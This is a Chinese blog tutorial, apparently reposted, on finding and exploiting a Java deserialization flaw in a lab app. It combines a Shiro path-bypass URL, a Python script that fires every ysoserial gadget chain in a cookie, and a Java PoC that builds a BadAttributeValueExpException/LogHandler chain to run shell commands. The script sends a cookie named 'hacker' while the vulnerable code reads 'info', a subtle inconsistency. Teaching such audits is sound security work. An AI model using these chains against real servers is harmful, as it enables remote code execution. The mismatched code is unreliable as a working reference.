程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长


+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

2023-06(3)

如何挖掘反序列化漏洞

发布于2021-05-29 22:33     阅读(1283)     评论(0)     点赞(8)     收藏(1)


平时挖的或者看到的反序列例子都很曲折,或者很个例,无法作为一个科普文。偶然看到大佬KeePassX的Java反序列化漏洞从入门到关门,发现这是一个难得一见的反序列化挖掘的好例子,它很舒畅,一镜到底。

下面是以我的思路对代码进行白盒审计:

代码审计

看一下/index/*路由功能,发现cookie中的info字段存在发序列化漏洞

@GetMapping({"/"})
    public String main() {
        return "redirect:login";
    }

    @GetMapping({"/index/{name}"})
    public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
        Cookie[] cookies = request.getCookies();
        boolean exist = false;
        Cookie cookie = null;
        User user = null;
        if (cookies != null) {
            Cookie[] var8 = cookies;
            int var9 = cookies.length;

            for(int var10 = 0; var10 < var9; ++var10) {
                Cookie c = var8[var10];
                if (c.getName().equals("info")) {
                    exist = true;
                    cookie = c;
                    break;
                }
            }
        }

        if (exist) {
            byte[] bytes = Tools.base64Decode(cookie.getValue());
            user = (User)Tools.deserialize(bytes);
        } else {
            user = new User();
            user.setID(1);
            user.setUserName(name);
            cookie = new Cookie("info", Tools.base64Encode(Tools.serialize(user)));
            response.addCookie(cookie);
        }

        request.setAttribute("info", user);
        request.setAttribute("logs", new LogHandler());
        return "index";
    }

其中Tools.deserialize函数如下:

    public static Object deserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

由于该项目使用了shiro中间件,并且存在权限绕过漏洞,绕过方式为http://127.0.0.1:8000/index/%3b/xxx
在这里插入图片描述

payload 1

于是直接打即可,当然最简单的就是上ysoserial工具,一开始也不知道使用哪条链,可以先来一波盲打,工具如下,虽然我写的比较粗糙,不过很好使,建议收藏:

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# @Date    : 2021/05/09
# @Author  : 5wimming
import requests
import subprocess
import time
import base64

def print_yso():
    payloads = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
    for payload in payloads:
        try:
            p = subprocess.Popen('java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ' + payload + ' \"open /System/Applications/Calculator.app\"', shell=True, stdout=subprocess.PIPE)
            out, err = p.communicate()
            result = str(base64.b64encode(out))[2:-1]
            print(payload, result)
            burp0_headers = {
                "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0",
                "Accept": "application/json, text/plain, */*", "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json;charset=utf-8",
                "Origin": "http://127.0.0.1:8090", "Connection": "close",
                "Cookie": "hacker=" + result,
                "Referer": "http://127.0.0.1:8090/admin/index.html"}
            requests.get('http://127.0.0.1:8000/index/%3b/xxx', headers=burp0_headers, timeout=20)
            time.sleep(5)
        except Exception as e:
            pass


if __name__ == '__main__':
    print_yso()

发现使用CommonsBeanutils1链可以成功,可能还有其他链,这里不在赘述,效果如下
在这里插入图片描述

payload 2

上面使用的是别人发现的公共链,但是有时候公共链并不能通吃,可以看看该项目本身有没有攻击链可以利用,寻找思路如下:

1、寻找项目中的危险函数AA.evil(string a),危险函数就是会导致漏洞产生的函数,比如命令执行函数Runtime.getRuntime().exec()、JNDI漏洞函数javax.naming.Context.lookup、SSRF漏洞函数java.net.URL.openConnection等等。
当然这些函数的参数必须可控,否则没法传入恶意命令。
具体可以参考我改的gadgetinspector的slink点,里面全是危险函数

2、危险函数所在类AA必须实现了 java.io.Serializable 接口,或者是实现了java.io.Serializable 接口类的子类,比如下面是常用的五大反序列化利用基类

1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。

2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的tranform方法,用来直接和Tranformer配合使用。

3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。

4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。

5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和lazyMap配合使用。

3、找个载体类BB,用于承载你上面构造的恶意AA.evil(string a),我们知道,当一个类被反序列化的时候,会调用该类的readobject函数。
因为如果我们的恶意函数evil(string a)不在readobject()函数里面,它再恶意也没法起作用。
当然,BB.readobject函数也必须是可控的,比如它允许我们通过某种方式把AA.evil(string a)塞进去。

于是在项目中找到了toString函数,它的类继承于LogHandler,可以进行反序列化操纵,虽然toString函数的参数是私有变量,但是通过java的反射机制依然可以赋值

public class LogHandler extends HashSet implements InvocationHandler {
    private Object target;
    private String readLog = "tail  accessLog.txt";
    private String writeLog = "echo /test >> accessLog.txt";

    public LogHandler() {
    }

    public LogHandler(Object target) {
        this.target = target;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
        return method.invoke(this.target, args);
    }

    public String toString() {
        return Tools.exeCmd(this.readLog);
    }
}

接下来找载体类,这里我们用BadAttributeValueExpException类,它是业界比较出名的载体类(背锅侠)

public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

从代码中我们可以看到,它调用了toString()函数,并且valObj可控,即我们可以把LogHandler实例赋值给它。

构造出poc如下,需要注意的是我们使用了LogHandler和Tools这两个项目中移植过来的类,需要注意它的package路径必须相同。

import com.xxx.Tools.LogHandler;
import com.xxx.Tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class Payload {
    public static void main(String[] args) throws Exception{
        LogHandler logHandler = new LogHandler();
        Field readLogField = LogHandler.class.getDeclaredField("readLog");
        readLogField.setAccessible(true);
        readLogField.set(logHandler,"open /System/Applications/Calculator.app");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,logHandler);
        byte[] bytes = Tools.serialize(badAttributeValueExpException);
        System.out.println(Tools.base64Encode(bytes));
    }
}

效果如下
在这里插入图片描述

原文链接:https://blog.csdn.net/qq_34101364/article/details/117236150



所属网站分类: 技术文章 > 博客

作者:快起来搬砖啦

链接:http://www.javaheidong.com/blog/article/207746/8383a4dcb7020c926d37/

来源:java黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

8 0
收藏该文
已收藏

评论内容:(最多支持255个字符)